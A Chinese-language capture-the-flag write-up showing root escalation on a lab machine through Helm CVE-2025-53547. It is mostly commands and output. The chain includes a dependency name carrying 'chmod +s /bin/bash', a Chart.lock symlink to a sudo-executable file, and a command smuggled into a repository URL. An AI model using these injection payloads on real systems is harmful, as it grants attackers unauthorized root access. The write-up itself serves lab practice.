

出了点小插曲，eecho的python应用部署完之后靶机就不能访问外网了。

所以用github上面的[exp](#)是没办法直接打的

本地的方案如下

现在本地执行 `helm dependency update`

然后会在 `charts/` 目录下生成一个 `gatekeeper-3.19.2.tgz` 文件

```
(kali@kali)-[~/linux-amd64/dsz]
$ ls
Chart.yaml

(kali@kali)-[~/linux-amd64/dsz]
$ export https_proxy="http://192.168.222.1:7890"

(kali@kali)-[~/linux-amd64/dsz]
$ export https_proxy="http://192.168.222.1:7895"

(kali@kali)-[~/linux-amd64/dsz]
$ ..helm dependency update
Getting updates for unmanaged Helm repositories ...
... Successfully got an update from the "https://open-policy-agent.github.io/gatekeeper/charts?;echo$IFS`hacked`>/tmp/2.txt" chart repository
Saving 1 charts
Downloading gatekeeper from repo https://open-policy-agent.github.io/gatekeeper/charts?;echo$IFS`hacked`>/tmp/2.txt
Deleting outdated charts

(kali@kali)-[~/linux-amd64/dsz]
$ ls
Chart.lock  charts  Chart.yaml

(kali@kali)-[~/linux-amd64/dsz]
$ cat chart
cat: chart: No such file or directory

(kali@kali)-[~/linux-amd64/dsz]
$ cat charts
cat: charts: Is a directory

(kali@kali)-[~/linux-amd64/dsz]
$ cd charts

(kali@kali)-[~/linux-amd64/dsz/charts]
$ ls
gatekeeper-3.19.2.tgz
```

把这个文件拿到靶机上面

```
gatekeeper-3.19.2.tgz

(kali@kali)-[~/linux-amd64/dsz/charts]
$ scp gatekeeper-3.19.2.tgz eecho@192.168.56.159:/tmp/
gatekeeper-3.19.2.tgz

(kali@kali)-[~/linux-amd64/dsz/charts]
$
```

```
eecho@Memoryhorse:/tmp$ ls
gatekeeper-3.19.2.tgz
systemd-private-0d57bcebec0c43088fa848c99477e8ea-apache2.service-ybDzuj  systemd-private-0d57bcebec0c43088fa848c99477e8ea-systemd-logind.service-PQYtlj
eecho@Memoryhorse:/tmp$ mkdir cve
eecho@Memoryhorse:/tmp$ mkdir cve/charts
eecho@Memoryhorse:/tmp$ mv gatekeeper-3.19.2.tgz cve/charts/
eecho@Memoryhorse:/tmp$ cd cve/
eecho@Memoryhorse:/tmp/cve$ ls
charts
eecho@Memoryhorse:/tmp/cve$ cd charts/
eecho@Memoryhorse:/tmp/cve/charts$ tar -xzf gatekeeper-3.19.2.tgz
eecho@Memoryhorse:/tmp/cve/charts$ ls
gatekeeper  gatekeeper-3.19.2.tgz
eecho@Memoryhorse:/tmp/cve/charts$ cd ..
eecho@Memoryhorse:/tmp/cve$ pwd
/tmp/cve
eecho@Memoryhorse:/tmp/cve$ ls
charts
eecho@Memoryhorse:/tmp/cve$
```

然后创建 `Chart.yaml`

```
eecho@Memoryhorse:/tmp/cve$ vim Chart.yaml
eecho@Memoryhorse:/tmp/cve$ cat Chart.yaml
apiVersion: v2
name: CVE-2025-53547
description: this is a CVE-2025-53547 poc yaml
version: 1.0.0
appVersion: v1.0.0
keywords:
- helm
- CVE-2025-53547
home: https://github.com/DVKunion/CVE-2025-53547-POC
sources:
- https://github.com/DVKunion/CVE-2025-53547-POC

dependencies:
- name: gatekeeper
  version: 3.19.2
  repository: 'file:///tmp/cve/charts/gatekeeper'
eecho@Memoryhorse:/tmp/cve$
```

然后执行 `helm dependency build` 就能把信息写入 `Chart.lock`

```
eecho@Memoryhorse:/tmp/cve$ helm dependency build
c.Metadata.Dependencies => [0xc000151cb0]
m.resolveRepoNames(req) map[gatekeeper:file:///tmp/cve/charts/gatekeeper]
m.ensureMissingRepos(repoNames, req) map[gatekeeper:file:///tmp/cve/charts/gatekeeper]
!m.SkipUpdate false
lock => 6(2025-09-23 01:55:27.484535873 -0400 EDT m+=0.043983377 sha256:8023799d7e0745cea6f0245c16d0d4926d81e3cffd50eccfd8b9968fe1aa6763 [0xc000151830]
Saving 1 charts
Deleting outdated charts
eecho@Memoryhorse:/tmp/cve$ cat Chart.lock
dependencies:
- name: gatekeeper
  repository: file:///tmp/cve/charts/gatekeeper
  version: 3.19.2
  digest: sha256:8023799d7e0745cea6f0245c16d0d4926d81e3cffd50eccfd8b9968fe1aa6763
  generated: "2025-09-23T01:55:27.484535873-04:00"
eecho@Memoryhorse:/tmp/cve$
```

然后在name处植入恶意代码，把Chart.lock连接到/opt/data

```
eecho@Memoryhorse:/tmp/cve$ rm -rf Chart.lock
eecho@Memoryhorse:/tmp/cve$ cat Chart.yaml
apiVersion: v2
name: CVE-2025-53547
description: this is a CVE-2025-53547 poc yaml
version: 1.0.0
appVersion: v1.0.0
keywords:
- helm
- CVE-2025-53547
home: https://github.com/DVKunion/CVE-2025-53547-POC
sources:
- https://github.com/DVKunion/CVE-2025-53547-POC

dependencies:
- name: gatekeeper;chmod +s /bin/bash
  version: 3.19.2
  repository: 'file:///tmp/cve/charts/gatekeeper'
eecho@Memoryhorse:/tmp/cve$ ln -s /opt/data Chart.lock
eecho@Memoryhorse:/tmp/cve$
```

然后运行 `/home/eecho/game` 故意输掉游戏清空。 `/opt/data` 内容

清空之后运行 `helm dependency build`

执行运行 `sudo /bin/bash /opt/data`

恶意代码成功被执行

```
repository: 'file:///tmp/cve/charts/gatekeeper'
eecho@Memoryhorse:/tmp/cve$ ln -s /opt/data Chart.lock
eecho@Memoryhorse:/tmp/cve$ ls
Chart.lock  charts  Chart.yaml
eecho@Memoryhorse:/tmp/cve$ ./game
欢迎来到猜数字游戏！你有 5 次机会。
如果你输了我会将的 /opt/data 文件的内容删除
请输入你的猜测 (1-100): 1
太小了！
请输入你的猜测 (1-100): 1
太小了！
请输入你的猜测 (1-100): 1
太小了！
请输入你的猜测 (1-100): 1
太小了！
请输入你的猜测 (1-100): 1
太小了！
很遗憾，你输了！清空 /opt/data 内容。
文件已清空: /opt/data
eecho@Memoryhorse:/tmp/cve$ helm dependency build
walk.go:75: found symbolic link in path: /tmp/cve/Chart.lock resolves to /opt/data. Contents of linked file included and used
walk.go:75: found symbolic link in path: /tmp/cve/Chart.lock resolves to /opt/data. Contents of linked file included and used
c.Metadata.Dependencies ==> [0xc000150cf0]
m.resolveRepoNames(req) map[gatekeeper;chmod +s /bin/bash:file:///tmp/cve/charts/gatekeeper]
m.ensureMissingRepos(repoNames, req) map[gatekeeper;chmod +s /bin/bash:file:///tmp/cve/charts/gatekeeper]
!m.SkipUpdate false
lock ==> 6{2025-09-23 01:58:52.108627948 -0400 EDT m=+0.036421635 sha256:95fbc42512cf98b99c436096325b677fa2bc2e8d1d684c6e1e8dc4115d19cedf [0xc000151d40]}
Saving 1 charts
Deleting outdated charts
eecho@Memoryhorse:/tmp/cve$ sudo /bin/bash /opt/data
/opt/data: line 1: dependencies:: command not found
/opt/data: line 2: -: command not found
/opt/data: line 3: repository:: command not found
/opt/data: line 4: version:: command not found
/opt/data: line 5: digest:: command not found
/opt/data: line 6: generated:: command not found
eecho@Memoryhorse:/tmp/cve$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18 2019 /bin/bash
eecho@Memoryhorse:/tmp/cve$ bash -p
bash-5.0# whoami
root
bash-5.0#
```

鼠标图标处输入其中部按 Ctrl+G